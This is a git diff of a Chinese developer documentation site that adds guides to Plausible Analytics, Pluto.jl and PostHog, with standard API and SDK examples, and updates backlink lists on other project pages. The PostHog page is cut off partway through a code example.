+Plausible 不收集个人身份信息（PII），不存储 IP 地址，不使用 Cookie 或持久化标识符。它的独特之处在于：
+
+- **不追踪个人**：只统计聚合数据（总访客数、页面浏览量）
+- **不存储 IP**：IP 用于计算唯一访客数后立即丢弃原始值
+- **合规无需同意横幅**：符合 GDPR、CCPA、PECR
+- **数据留在欧盟**：所有数据存储在欧盟境内的服务器上
+
+### 2.2 轻量级脚本
+
+Plausible 的追踪脚本只有 **几 KB**（比 Google Analytics 小 54 倍），加载后不会影响网页速度或 Core Web Vitals。对于一个有 10 万月访问量的网站，每年可节省约 4 公斤 CO2 排放。
+
+### 2.3 两种部署方式
+
+| 方式 | 说明 |
+|------|------|
+| **Plausible Cloud（托管版）** | 注册即用，2 分钟搞定，自动处理 CDN、备份、安全 |
+| **Community Edition（自建版）** | 开源免费（AGPL-3.0），自己部署在自己的服务器上 |
+
+### 2.4 技术栈
+
+- **后端**：Elixir + Phoenix（处理高并发流量）
+- **数据库**：PostgreSQL（通用数据）+ ClickHouse（分析数据）
+- **前端**：React + TailwindCSS
+
+## 三、如何接入 Plausible
+
+### 3.1 方式一：插入追踪脚本（最常见）
+
+在你的网站每个页面的 `<head>` 标签中加入一段 JS 代码：
+
+```html
+<!-- 把 plausible.example.com 换成你在 Plausible 后台看到的域名 -->
+<script
+  defer
+  data-domain="yourdomain.com"
+  src="https://plausible.example.com/js/script.js"
+></script>
+```
+
+就这么一行代码，不需要配置 Cookie 横幅，不需要用户同意。
+
+### 3.2 方式二：Events API（服务端/移动端）
+
+如果你无法在页面中插入 JS（比如移动 App 或纯服务端渲染），可以直接通过 HTTP API 发送事件：
+
+```bash
+curl -X POST https://plausible.example.com/api/event \
+  -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X)' \
+  -H 'X-Forwarded-For: 192.168.1.100' \
+  -H 'Content-Type: application/json' \
+  --data '{
+    "name": "pageview",
+    "url": "https://yourdomain.com/blog/hello",
+    "domain": "yourdomain.com",
+    "referrer": "https://google.com",
+    "props": {
+      "category": "technology"
+    }
+  }'
+```
+
+这里的关键点：
+
+- `User-Agent` 和 `X-Forwarded-For` 用于计算唯一访客（没有这两个，统计数据会不准）
+- `name: "pageview"` 表示一次页面浏览，也可以自定义事件名（如 `"purchase"`）
+- `props` 可以附加自定义属性，最多 30 个键值对
+
+## 四、核心功能详解
+
+### 4.1 仪表盘
+
+打开 Plausible 后台，一个页面就能看到所有关键指标：
+
+- **页面浏览量（Pageviews）**：所有页面被访问的次数
+- **访客数（Visitors）**：去重后的独立访客数量
+- **跳出率（Bounce Rate）**：只看了一个页面就离开的比例
+- **平均访问时长**：每次会话停留的时间
+- **进入页面 / 退出页面**：用户从哪里来、从哪里走
+
+没有层层菜单、不需要构建自定义报表。
+
+### 4.2 Goals（转化目标）
+
+你可以把任何页面设为"目标"来追踪转化。例如：
+
+- 注册成功页 → 追踪"注册用户数"
+- 购买确认页 → 追踪"销售额"
+- 文件下载链接 → 追踪"下载量"
+
+还支持 **无代码目标**：自动追踪外链点击、表单提交、404 错误页。
+
+### 4.3 Funnels（漏斗分析）
+
+测量用户在一个固定流程中的流失情况。比如电商的"浏览商品 → 加入购物车 → 结算 → 付款"，可以看到每一步有多少人放弃。
+
+### 4.4 实时仪表盘
+
+每 30 秒自动刷新，可以看到当前正在访问你网站的有多少人。
+
+### 4.5 集成能力
+
+- **Google Search Console**：直接在 Plausible 中查看搜索关键词排名
+- **Stats API**：通过 API 查询历史数据，可以做自定义报表
+- **Looker Studio**：连接器可以把 Plausible 数据导入 Looker 做可视化
+- **邮件/Slack 周报**：定期收到流量报告
+
+## 五、Stats API 使用示例
+
+Plausible 提供了一个统一的 Stats API 端点 `/api/v2/query`，可以用 POST 请求查询各种维度的统计数据。
+
+### 5.1 查询最近 7 天的总访客数
+
+```bash
+curl -X POST https://plausible.example.com/api/v2/query \
+  -H 'Authorization: Bearer YOUR_API_KEY' \
+  -H 'Content-Type: application/json' \
+  --data '{
+    "site_id": "yourdomain.com",
+    "metrics": ["visitors", "pageviews", "bounce_rate"],
+    "date_range": "7d"
+  }'
+```
+
+### 5.2 按国家/城市分组，查看访客分布
+
+```bash
+curl -X POST https://plausible.com/api/v2/query \
+  -H 'Authorization: Bearer YOUR_API_KEY' \
+  -H 'Content-Type: application/json' \
+  --data '{
+    "site_id": "yourdomain.com",
+    "metrics": ["visitors", "pageviews"],
+    "date_range": "30d",
+    "dimensions": ["visit:country_name", "visit:city_name"],
+    "order_by": [["visitors", "desc"]]
+  }'
+```
+
+返回结果类似：
+
+```json
+{
+  "results": [
+    {"metrics": [99, 98], "dimensions": ["Estonia", "Tallinn"]},
+    {"metrics": [98, 82], "dimensions": ["Brazil", "Sao Paulo"]},
+    {"metrics": [97, 77], "dimensions": ["Germany", "Berlin"]}
+  ],
+  "meta": {}
+}
+```
+
+### 5.3 按时间序列查看每日趋势
+
+```bash
+curl -X POST https://plausible.example.com/api/v2/query \
+  -H 'Authorization: Bearer YOUR_API_KEY' \
+  -H 'Content-Type: application/json' \
+  --data '{
+    "site_id": "yourdomain.com",
+    "metrics": ["visitors", "pageviews"],
+    "date_range": "91d",
+    "dimensions": ["time:day"]
+  }'
+```
+
+## 六、Plausible vs Google Analytics 对比
+
+| 特性 | Plausible | Google Analytics |
+|------|-----------|-----------------|
+| 脚本大小 | ~1KB | ~54KB |
+| Cookie | 不需要 | 需要 |
+| Cookie 横幅 | 不需要 | 需要（GDPR 地区） |
+| 数据隐私 | 不收集个人信息 | 收集大量用户数据 |
+| 学习曲线 | 5 分钟上手 | 需要培训 |
+| 开源 | AGPL-3.0 | 闭源 |
+| 价格 | 付费订阅（$9/月起） | 免费（数据被 Google 用于广告） |
+| 自定义维度 | 支持（Custom Properties） | 支持但复杂 |
+| 实时数据 | 每 30 秒刷新 | 有延迟 |
+
+## 七、为什么 Plausible 不是免费的？
+
+这是一个常见疑问。Google Analytics 免费是因为 **Google 用你的用户数据来做广告**，本质上是"你用数据换产品"。
+
+Plausible 选择的是 **订阅制**：你付钱，我们继续开发和维护产品。你的用户数据不会被任何第三方获取。Plausible 的团队只有 10 人，完全靠 19,000+ 付费用户的订阅资金运营，是一个自给自足的独立项目。
+
+简单说：**你要么为产品付钱，要么你的用户数据就是货币。**
+
+## 八、总结
+
+Plausible 的核心价值可以用一句话概括：**用极简的方式，获得你真正需要的网站洞察，同时尊重每一位访问者的隐私。**
+
+对于中小网站、博客、创业公司来说，它几乎是不二之选。对于需要极其细粒度数据分析的大型企业，可能需要更专业的方案。
+
+如果你厌倦了 GA 的复杂性和 Cookie 弹窗的烦恼，Plausible 是最值得尝试的替代品之一。
diff --git a/src/content/docs/projects/playcanvas.md b/src/content/docs/projects/playcanvas.md
index 6475ee0d8..8cfd44be2 100644
--- a/src/content/docs/projects/playcanvas.md
+++ b/src/content/docs/projects/playcanvas.md
@@ -214,12 +214,18 @@ Entity-Component 让"动态创建 / 销毁坦克实体"变成几行代码；事
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[assimp]] —— Assimp — Open Asset Import Library 统一 3D 模型导入
 - [[babylonjs]] —— Babylon.js — 微软开源的企业级 Web 3D 引擎
+- [[blender]] —— Blender — 全流程 3D 创作套件
 - [[d3]] —— D3.js — 不是图表库，是写图表库的乐高
 - [[debevec-1998-rendering-with-natural-light]] —— Debevec 1998 — 用真实世界的光照亮 CG 物体
+- [[draco]] —— Draco — Google 3D 网格与点云压缩
 - [[echarts]] —— Apache ECharts — 给一个 JSON 就能画图的可视化库
+- [[godot]] —— Godot Engine — 开源游戏引擎 + 编辑器
 - [[kajiya-1986-rendering-equation]] —— Kajiya 渲染方程 — 把所有渲染算法统一成一个积分方程
+- [[luma-gl]] —— luma.gl — vis.gl WebGL2/WebGPU 抽象
 - [[phaser]] —— Phaser — 在浏览器里写 2D 游戏的完整工具箱
+- [[picogl]] —— PicoGL.js — 极简 WebGL2 包装
 - [[pixi]] —— PixiJS — 浏览器里画 2D 的高性能 GPU 引擎
 - [[threejs]] —— three.js — Web 3D 事实标准
 
diff --git a/src/content/docs/projects/playwright.md b/src/content/docs/projects/playwright.md
index 57ea81299..28cfe7246 100644
--- a/src/content/docs/projects/playwright.md
+++ b/src/content/docs/projects/playwright.md
@@ -188,7 +188,7 @@ Puppeteer 还在维护，但创新慢；Playwright 是同一帮人做的"下一
 - [[anime]] —— anime.js — 一行 JS 让网页元素按时间线动起来
 - [[apexcharts]] —— ApexCharts — 自带响应式与注解的 SVG 图表库
 - [[beck-tdd]] —— Beck TDD — 用红绿重构循环让设计自己长出来
-- [[browser-use]] —— browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
+- [[browser-use]] —— browser-use — 用自然语言让 AI Agent 操控浏览器
 - [[cal-com]] —— cal.com — 自己能托管的开源 Calendly
 - [[cytoscape-js]] —— Cytoscape.js — 浏览器里画图（节点 + 边）的图论库
 - [[d3]] —— D3.js — 不是图表库，是写图表库的乐高
@@ -229,4 +229,5 @@ Puppeteer 还在维护，但创新慢；Playwright 是同一帮人做的"下一
 - [[storybook]] —— Storybook — 给 UI 组件的独立工作台
 - [[testing-library]] —— Testing Library — 像用户一样测前端，重构不再挂测试
 - [[vitest]] —— Vitest — Vite 原生测试框架
+- [[webdriverio]] —— WebdriverIO — Node.js 下一代浏览器与移动端自动化测试框架
 
diff --git a/src/content/docs/projects/pluto-jl.md b/src/content/docs/projects/pluto-jl.md
new file mode 100644
index 000000000..54df83f2b
--- /dev/null
+++ b/src/content/docs/projects/pluto-jl.md
@@ -0,0 +1,244 @@
+---
+title: Pluto.jl — Julia 反应式笔记本
+来源: https://github.com/fonsp/Pluto.jl
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Pluto.jl** 是 Julia 生态里的**反应式（reactive）笔记本**：把代码拆成多个 cell，改一个参数或函数，所有依赖它的 cell 会自动重跑——像电子表格里改 A1 后引用它的公式立刻重算。笔记本保存为**纯 Julia 源文件**（`.jl`），不是 JSON；每个 notebook 自带独立 Julia 进程与自动管理的包环境，浏览器里即开即写。项目由 Fons van der Plas 等人发起，现维护于 [JuliaPluto/Pluto.jl](https://github.com/JuliaPluto/Pluto.jl)（上游 README 仍指向 `fonsp/Pluto.jl`）；截至 2026 年 3 月稳定版已到 **v0.20.x**，支持 Julia **1.10–1.12**。
+
+日常类比：
+
+> 传统 [[jupyter-notebook]] 像**按页码手写的实验日志**：你在第 2 格定义 `n = 10`，第 5 格画图用了 `n`，后来把第 2 格改成 `n = 100` 却忘了重跑第 5 格——图里仍是旧数据，kernel 里还留着「跑过但没显示」的中间状态。
+> Pluto 像**带公式的 Excel**：改定义 `n` 的那一格，所有引用 `n` 的 cell 自动更新；删掉定义 `apple` 的 cell，`apple` 就从内存消失，不会幽灵般留在后台。你看到的代码，就是当前程序状态的全部真相——官方称之为 **「At any instant, the program state is completely described by the code you see.」**
+
+最小上手：
+
+```julia
+# 在 Julia REPL 里（需先安装 Julia 1.10+）
+using Pkg
+Pkg.add("Pluto")
+import Pluto
+Pluto.run()   # 自动打开浏览器，默认 http://localhost:1234
+```
+
+也可指定 notebook 路径启动：`Pluto.run(notebook="/path/to/notebook.jl")`。
+
+## 为什么重要
+
+Pluto 把 Julia 的「科学计算脚本 + 交互探索」两条路合成一条，和 Python 侧的 [[marimo]]、Observable 同属**新一代 reactive notebook** 思路：
+
+- **消除隐藏状态**：Jupyter 的「执行顺序 ≠ 阅读顺序」是 reproducibility 的经典坑；Pluto 用静态分析建依赖图，改上游必更新下游
+- **Git 友好**：`.jl` 纯文本 diff 清晰，可 `include` 进普通 Julia 项目，不像 `.ipynb` JSON 噪声大
+- **自带 Pkg 环境**：`using Plots` 时 Pluto 为 notebook 自动建独立环境，Manifest 信息写入文件，别人打开能复现同一套包版本
+- **交互控件一等公民**：`PlutoUI.jl` + `@bind` 把浏览器滑块/按钮绑到 Julia 变量，配合 reactivity 做参数探索和小型 dashboard，不必另写 [[streamlit]]
+- **Julia 原生**：无 Python 式 `%` 魔法、无 wrapper 改你的代码——分析一次后按原样执行
+
+## 核心概念
+
+### 1. Cell（单元格）与 `.jl` 文件
+
+Pluto notebook 在磁盘上是一个 **Julia 脚本**，由多个 `### Cell` 块组成（Pluto 保存时自动组织）。每个 cell 可写任意 Julia 代码；**排版顺序不必等于执行顺序**——引擎根据变量依赖决定谁先跑。
+
+| 特性 | Jupyter（Julia kernel） | Pluto.jl |
+|------|-------------------------|----------|
+| 文件格式 | `.ipynb`（JSON） | `.jl`（纯 Julia） |
+| 执行触发 | 手动 Shift+Enter | 依赖变化自动级联 |
+| 全局变量 | 任意 cell 可重复定义 | **每个全局名只能在一个 cell 里定义** |
+| 删/改变量定义 | 旧值可能仍在 workspace | 变量从进程删除，依赖 cell 更新 |
+| 包环境 | 通常共用当前 Project | 每 notebook 独立环境 + Manifest 嵌入 |
+
+### 2. Reactivity（反应式执行）
+
+Pluto 在**运行前**对每个 cell 做**语法树分析**：找出全局变量的 **定义（assignment）** 与 **引用（reference）**，在 cell 之间连边形成 **DAG（有向无环图）**。
+
+- 你修改 cell A 的代码并运行 → Pluto 找出所有**直接或间接引用 A 所定义变量**的下游 cell → 按拓扑序重跑
+- 若 A 不再定义某变量（例如把 `apple = 1` 改成 `banana = 2`），`apple` **被删除**，引用它的 cell 会报错或更新，不会静默用旧值
+- **不能**在两个 cell 里分别 `x = 1` 和 `x = 2`——重复定义全局变量会被拒绝，这正是 reactivity 能推理的前提
+
+与 [[marimo]] 类似：Pluto 跟踪的是**变量名的绑定**，不是对象原地突变。`a[5] = 3` 或 `a.field = 2` **不会**触发 reactivity；若需要「可变但不级联」的状态，可用 `Ref`（见官方 Wiki）。
+
+**没有全局「Jupyter 模式」开关**——若某 cell 不想参与级联，可 **Disable cell**（禁用后其定义不参与图）。
+
+### 3. 架构一瞥（浏览器 + Julia 双进程）
+
+| 层 | 技术 | 职责 |
+|----|------|------|
+| **Frontend** | JavaScript（浏览器） | 编辑 cell、展示输出、PlutoUI 控件 |
+| **Backend** | Julia HTTP 服务 | 静态分析、调度 reactive run、同步状态 |
+| **Worker** | 每 notebook 一个 Julia 子进程 | 实际执行用户代码 |
+
+前后端通过类似 **Firebase 的共享状态对象** 同步（Pluto 自研 `Firebasey.jl` 做 diff）：cell 代码、输出、日志、运行状态都进 JSON-like 结构，变更只推送 diff。用户代码**从不**在 server 进程里跑——隔离 crash 与包污染。
+
+### 4. `@bind` 与 PlutoUI.jl
+
+`@bind` 把 HTML 控件与 Julia 变量**双向绑定**：用户拖 slider → 变量更新 → reactive 级联重跑依赖 cell。`PlutoUI.jl` 提供 slider、textfield、button、filepicker 等；也可自定义 Web Component（HTML/CSS/JS + Julia API）。
+
+典型模式：
+
+```julia
+# cell 1 — 控件
+@bind α Slider(0:0.01:1, default=0.5, show_value=true)
+
+# cell 2 — 依赖 α 的计算与作图（α 一变自动重跑）
+using Plots
+plot(0:0.01:2π, x -> sin(α * x), label="sin($(α) x)")
+```
+
+### 5. 包管理与可复现性
+
+首次 `using DataFrames` / `Plots` 等，Pluto 为该 notebook **创建独立环境**并 `Pkg.add` 所需包；环境快照（含版本）写入 `.jl` 文件。他人用 Pluto 打开同一文件时，自动还原环境——无需口头说「请先 `] add Plots`」。
+
+注意：个人 `startup.jl` **不会**自动加载（为 reproducibility）；官方建议把需要的初始化写进 notebook 的 `begin ... end` 块，或显式 `include`（后者仅在你机器上有效）。
+
+### 6. 导出与协作
+
+- **HTML / PDF**：隐藏代码、保留输出，适合讲故事
+- **纯 `.jl`**：可当普通脚本维护，或 `include` 进 Julia 包
+- **Featured notebooks**： [plutojl.org](https://plutojl.org/) 上可一键在浏览器跑示例
+
+### 7. 与 Jupyter / marimo 怎么选
+
+| 场景 | 更合适的工具 |
+|------|----------------|
+| 课堂/论文复现、强依赖顺序的手动演示 | Jupyter |
+| Python 生态、SQL cell、一键 `marimo run` 变 App | [[marimo]] |
+| **Julia 数值/可视化**、参数扫掠、消除 hidden state | **Pluto.jl** |
+| 大型 DAG 里频繁 in-place 改数组 | 普通 `.jl` + Revise，或把突变写在定义 cell 内 |
+
+## 实践案例
+
+### 案例 1：最小 reactive 链（变量级联）
+
+三个 cell 可任意上下排列，Pluto 仍按依赖执行：
+
+```julia
+# cell 1
+n = 10
+
+# cell 2
+squares = [k^2 for k in 1:n]
+
+# cell 3
+sum(squares)   # 显示 385；把 cell 1 改成 n = 20 并运行 → 自动变 2870
+```
+
+把 cell 1 改成 `n = 5` 后，cell 2、3 无需手动 Shift+Enter——这就是与 Jupyter 心智差异最大的地方。
+
+### 案例 2：滑块驱动的函数探索
+
+模拟官方首页「改参数 A → 图立刻更新」：
+
+```julia
+# cell 1 — 参数控件
+using PlutoUI
+@bind A Slider(0.1:0.1:3.0, default=1.0, show_value=true)
+
+# cell 2 — 模型（依赖 A）
+f(x) = sin(A * x)
+
+# cell 3 — 可视化
+using Plots
+xs = range(0, 4π; length=200)
+plot(xs, f.(xs), title="A = $(A)", legend=false)
+```
+
+拖动 slider 时，cell 2、3 自动重算；`A` 始终是「当前代码里绑定的那个值」，不存在「控件显示 2.0 但内存里还是 1.0」的裂缝。
+
+### 案例 3：多表达式与函数定义约束
+
+**同一全局函数的多方法**必须写在**同一个 cell**（或用 `begin ... end` 包起来）：
+
+```julia
+# 一个 cell 内
+begin
+    g(x::Int) = x + 1
+    g(x::Float64) = x + 0.5
+end
+```
+
+**变量修改**也只能在定义它的 cell 里完成——不能 cell 1 写 `total = 0`、cell 2 写 `total += 1`（第二格既非定义也非 Pluto 支持的 reactive 模式）。应合并：
+
+```julia
+begin
+    total = 0
+    for k in 1:10
+        total += k
+    end
+    total   # 最后一行作为输出 → 55
+end
+```
+
+### 案例 4：从 Pluto 到普通 Julia 项目
+
+保存的 `analysis.jl` 可在无 Pluto 时作为脚本片段参考；生产管线里更常见做法是：在 Pluto 里**探索**，验证后将核心函数抽到 `src/MyPackage.jl`，用 `Pkg` 测试与 CI。Pluto 的定位是 **exploration & explanation**，不是替代完整的 Julia 包工程。
+
+## 常用操作速查
+
+| 操作 | 方式 |
+|------|------|
+| 运行 cell | Ctrl+Enter / 点击运行按钮 |
+| 添加 cell | 点击 + 或快捷键 |
+| 禁用 cell | 右键 Disable（不参与 reactive 图） |
+| 查看依赖 | 官方示例与 Featured Notebooks 中的 Explain 类教程 |
+| 安装包 | 直接 `using X`，Pluto 自动处理 |
+| 多线程 | 启动前设 `JULIA_NUM_THREADS=4`，worker 会继承 |
+| 打开指定文件 | `Pluto.run(notebook="path.jl")` |
+| 自定义 sysimage | `Pluto.run(sysimage=...)` 加速大型栈 |
+
+## 局限与踩坑
+
+1. **不能 `@async` 轮询改全局变量触发 UI**——Pluto 不做 runtime 变量监视；周期更新用 `@bind`、PlutoHooks、或外部进程推送 bond 值（`set_bond_values_reactive` API）
+2. **重复定义全局**——两个 cell 都 `x = ...` 会报错；设计如此
+3. **in-place 突变**——`push!`、`df[!,:col]=...` 不触发下游；重构为「新变量名」或写在同一 cell
+4. **宏与 `using`**——Pluto 会在必要时 **先跑一部分 cell** 再 macroexpand 分析后续 cell（实现复杂但对用户透明）；极少数动态代码仍可能让静态分析失效
+5. **无「只跑这一格不管下游」的 Jupyter 语义**——改代码即可能级联；临时可 Disable 下游 cell
+6. **大 notebook 全量重跑**——依赖链长时，改一行可能触发昂贵重算；拆 notebook 或用 Disabled cell 隔离调试段
+
+## 与周边工具的关系
+
+```text
+Julia 安装
+    └── Pkg.add("Pluto") → Pluto.run()
+            ├── 浏览器 UI（编辑 .jl notebook）
+            ├── PlutoUI.jl（@bind 控件）
+            ├── 每 notebook 独立 Julia worker + Pkg 环境
+            └── 导出 HTML/PDF 或 include 进 Julia 项目
+
+对比：
+  Jupyter + IJulia     → 手动执行、隐藏状态、.ipynb
+  Pluto.jl             → reactive、纯 .jl、Julia 原生 Pkg
+  marimo               → Python 侧 reactive + marimo run App
+```
+
+- 已在用 **IJulia / Jupyter**：复杂课件仍可用 Jupyter；Julia 探索与参数交互推荐 Pluto
+- 需要 **Python**：看 [[marimo]]、[[jupyterlab]]
+- 需要 **静态站点里嵌 notebook**：Pluto 导出 HTML；或 Julia 社区的 Franklin/HDocumenter 与 Pluto 配合（视项目而定）
+
+## 学习路径建议
+
+1. 安装 Julia → `Pkg.add("Pluto")` → `Pluto.run()` 打开 **Sample notebooks**（含 Reactivity、Interactivity）
+2. 故意制造 Jupyter 式 bug：两格变量依赖，只改上游不重跑下游——在 Jupyter 复现「 stale 输出」，再在 Pluto 看自动修复
+3. 用 `@bind` + `Plots`/`PlutoUI` 做一个小型参数扫掠 dashboard
+4. 读 [Reactivity 文档](https://plutojl.org/en/docs/reactivity/) 与 [Architecture](https://plutojl.org/en/docs/architecture/) 理解 DAG 与 Firebasey
+5. 将探索代码抽到 `MyProject.jl`，用 `Pkg.test` 固化
+
+## 小结
+
+Pluto.jl 把 Julia 写成了**可复现、可交互、无隐藏状态**的笔记本：cell 之间靠变量依赖自动级联，文件是纯 `.jl`，包环境随文件走。它不适合替代完整 Julia 包开发流程，但在**教数值方法、调参、向同事演示模型**时，比传统 Jupyter 少一整类「我明明改了为什么图没变」的困惑。记住一句话：**你屏幕上看到的代码，就是此刻内存里的程序。**
+
+---
+
+## 参考资料
+
+- 官方站点与文档：[plutojl.org](https://plutojl.org/)
+- 源码仓库：[github.com/fonsp/Pluto.jl](https://github.com/fonsp/Pluto.jl) / [JuliaPluto/Pluto.jl](https://github.com/JuliaPluto/Pluto.jl)
+- Reactivity：[plutojl.org/en/docs/reactivity](https://plutojl.org/en/docs/reactivity/)
+- Architecture：[plutojl.org/en/docs/architecture](https://plutojl.org/en/docs/architecture/)
+- FAQ：[plutojl.org/en/docs/faq](https://plutojl.org/en/docs/faq/)
+- PlutoUI：[github.com/JuliaPluto/PlutoUI.jl](https://github.com/JuliaPluto/PlutoUI.jl)
+- 对比笔记：[[jupyter-notebook]]、[[jupyterlab]]、[[marimo]]
diff --git a/src/content/docs/projects/podman.md b/src/content/docs/projects/podman.md
index 7d936dd0c..8773543ac 100644
--- a/src/content/docs/projects/podman.md
+++ b/src/content/docs/projects/podman.md
@@ -2,7 +2,7 @@
 title: Podman — 无 daemon 容器引擎
 来源: https://github.com/containers/podman
 日期: 2026-05-29
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/postgresql.md b/src/content/docs/projects/postgresql.md
index c8d4f2344..5f739ddfa 100644
--- a/src/content/docs/projects/postgresql.md
+++ b/src/content/docs/projects/postgresql.md
@@ -155,6 +155,7 @@ SELECT id, content FROM items ORDER BY embedding <-> '[0.15, ...]' LIMIT 5;
 - [[django]] —— Django — 全功能 batteries-included 的 Python web 框架
 - [[docker]] —— Docker — 容器化平台
 - [[drizzle]] —— Drizzle ORM — 轻量 SQL-like ORM
+- [[drizzle-orm]] —— drizzle-orm
 - [[duckdb]] —— DuckDB — 嵌入式列存 OLAP
 - [[duckdb-wasm]] —— duckdb-wasm — 把分析数据库塞进浏览器标签页
 - [[elasticsearch]] —— Elasticsearch — 分布式搜索引擎
@@ -180,6 +181,7 @@ SELECT id, content FROM items ORDER BY embedding <-> '[0.15, ...]' LIMIT 5;
 - [[mongodb]] —— MongoDB — 文档型 NoSQL 数据库
 - [[mysql]] —— MySQL — 全球最流行关系数据库
 - [[mysql-server]] —— mysql-server — 一个仓库装下整套 OLTP 引擎
+- [[nanomq]] —— NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker
 - [[nebula]] —— NebulaGraph — 国产分布式图数据库
 - [[neo4j]] —— Neo4j — 主流图数据库
 - [[pg-boss-readme]] —— pg-boss — 只用 Postgres 就能跑的任务队列
diff --git a/src/content/docs/projects/posthog-product-analytics.md b/src/content/docs/projects/posthog-product-analytics.md
new file mode 100644
index 000000000..d4aa97943
--- /dev/null
+++ b/src/content/docs/projects/posthog-product-analytics.md
@@ -0,0 +1,236 @@
+---
+title: PostHog OSS Product Analytics — 从零到一的理解
+来源: https://github.com/PostHog/posthog
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+## 一句话概括
+
+PostHog 是一个**全栈、开源的产品分析平台**——它把用户行为追踪、漏斗分析、留存分析、会话回放、功能开关、A/B 测试等一整套产品工具箱，打包成一个你可以自己部署的开源项目。
+
+## 日常类比
+
+想象你开了一家咖啡馆。你想了解：
+
+- 哪些客人是新客、哪些是回头客？（**用户识别**）
+- 客人点了哪些饮品？在哪个环节放弃购买？（**事件与漏斗**）
+- 哪个促销按钮能让更多人下单？（**A/B 测试**）
+
+PostHog 就是这家咖啡馆的"智能监控摄像头 + 记账本 + 实验记录本"。它在你的网站或 App 里装一个"小插件"，自动记录客人的一举一动，然后把数据存到你自己的服务器上。
+
+## 核心概念
+
+### 1. 事件（Event）
+
+PostHog 的一切以**事件**为中心。每一次用户操作——点击、页面浏览、表单提交——都是一条事件记录。
+
+每条事件包含三个要素：
+
+| 要素 | 说明 | 举例 |
+|------|------|------|
+| `event` | 事件名称 | `"user signed up"` |
+| `distinct_id` | 唯一用户标识 | `"user_12345"` |
+| `properties` | 额外属性 | `{ `"login_type"`: `"email"` }` |
+
+### 2. 自动捕获（Autocapture）
+
+PostHog 最省力的一点：**不需要手动埋点**。安装 SDK 后，它会自动捕获页面浏览、点击、表单输入等行为。你只需要为业务逻辑补充自定义事件。
+
+### 3. 用户识别（Identify）
+
+PostHog 默认用浏览器的 cookie 生成一个匿名 ID。当用户登录时，你需要调用 `identify()` 把匿名 ID 和真实用户信息绑定。这样同一个客人在匿名阶段和登录阶段的行为就能拼在一起。
+
+### 4. 属性（Properties）
+
+事件的额外信息，可以是用户属性（`user_properties`）或事件属性（`event_properties`）。比如"用户注册"这个事件，可以带上 `login_type`、`is_free_trial` 等属性。
+
+### 5. 仪表板组件
+
+PostHog 内置了多种分析图表：
+
+- **趋势图（Trends）** — 随时间变化的指标曲线
+- **漏斗（Funnels）** — 用户在哪一步流失
+- **留存（Retention）** — 用户是否会回来
+- **用户路径（User Paths）** — 用户的典型行为路线
+- **会话回放（Session Replay）** — 真实用户操作的录像
+
+## 代码示例
+
+### 示例一：在网页中安装 PostHog 并捕获自定义事件
+
+把这段代码放在你的 HTML `<head>` 中：
+
+```html
+<script>
+  !function(t,e){
+    var o,n,p,r;e.__SV||(
+      window.posthog=e,
+      e._i=[],
+      e.init=function(i,s,a){
+        function g(t,e){
+          var o=e.split(".");
+          2==o.length&&(t=t[o[0]],e=o[1]),
+          t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}
+        }
+        (p=t.createElement("script")).type="text/javascript",
+        p.crossOrigin="anonymous",
+        p.async=!0,
+        p.src=s.api_host.replace(".i.posthog.com","-assets.i.posthog.com")+
+          "/static/array.js",
+        (r=t.getElementsByTagName("script")[0]).parentNode.insertBefore(p,r);
+        var u=e;
+        for(
+          void 0!==a?u=e[a]=[]:a="posthog",
+          u.people=u.people||[],
+          u.toString=function(t){
+            var e="posthog";
+            return "posthog"!==a&&(e+="."+a),t||(e+=" (stub)"),e
+          },
+          u.people.toString=function(){
+            return u.toString(1)+".people (stub)"
+          },
+          o="init capture register register_once register_for_session "+
+            "unregister unregister_for_session getFeatureFlag "+
+            "getFeatureFlagPayload isFeatureEnabled reloadFeatureFlags "+
+            "updateEarlyAccessFeatureEnrollment getEarlyAccessFeatures "+
+            "on onFeatureFlags onSessionId getSurveys renderSurvey "+
+            "canRenderSurvey getNextSurveyStep identify "+
+            "setPersonProperties group resetGroups "+
+            "setPersonPropertiesForFlags resetPersonPropertiesForFlags "+
+            "setGroupPropertiesForFlags resetGroupPropertiesForFlags "+
+            "reset get_distinct_id getGroups get_session_id "+
+            "get_session_replay_url alias set_config "+
+            "startSessionRecording stopSessionRecording "+
+            "sessionRecordingStarted captureException loadToolbar "+
+            "get_property getSessionProperty createPersonProfile "+
+            "opt_in_capturing opt_out_capturing "+
+            "has_opted_in_capturing has_opted_out_capturing "+
+            "clear_opt_in_out_capturing debug".split(" "),
+          n=0;n<o.length;n++)g(u,o[n]);
+        e._i.push([i,s,a])
+      },
+      e.__SV=1
+    )
+  }(document,window.posthog||[]);
+
+  // 初始化 PostHog，替换你的项目 Token
+  posthog.init('YOUR_PROJECT_TOKEN', {
+    api_host: 'https://us.i.posthog.com',
+    defaults: '2026-01-30'
+  });
+</script>
+```
+
+当用户完成注册时，发送一条自定义事件：
+
+```javascript
+posthog.capture('user_signed_up', {
+  login_type: 'email',
+  is_free_trial: true,
+  plan: 'starter'
+});
+```
+
+### 示例二：在 Node.js 后端通过 API 发送事件
+
+如果你想在服务器端捕获事件（比如用户完成支付），可以使用 Node.js SDK：
+
+```javascript
+const { PostHog } = require('posthog-node');
+
+// 初始化客户端
+const client = new PostHog('YOUR_PROJECT_TOKEN', {
+  host: 'https://us.i.posthog.com'
+});
+
+// 捕获用户注册事件
+client.capture({
+  distinctId: 'user_12345',
+  event: 'user signed up',
+  properties: {
+    login_type: 'google_oauth',
+    is_free_trial: false,
+    plan: 'pro'
+  }
+});
+
+// 捕获页面浏览事件（后端-only 模式）
+client.capture({
+  distinctId: 'user_12345',
+  event: '$pageview',
+  properties: {
+    $current_url: 'https://example.com/dashboard',
+    $referrer: 'https://google.com'
+  }
+});
+
+// 程序退出前刷新数据
+process.on('SIGINT', () => client.shutdown());
+```
+
+### 示例三：识别用户身份
+
+前端在用户登录后调用 `identify()`：
+
+```javascript
+// 匿名访客浏览时，PostHog 自动生成一个随机 ID
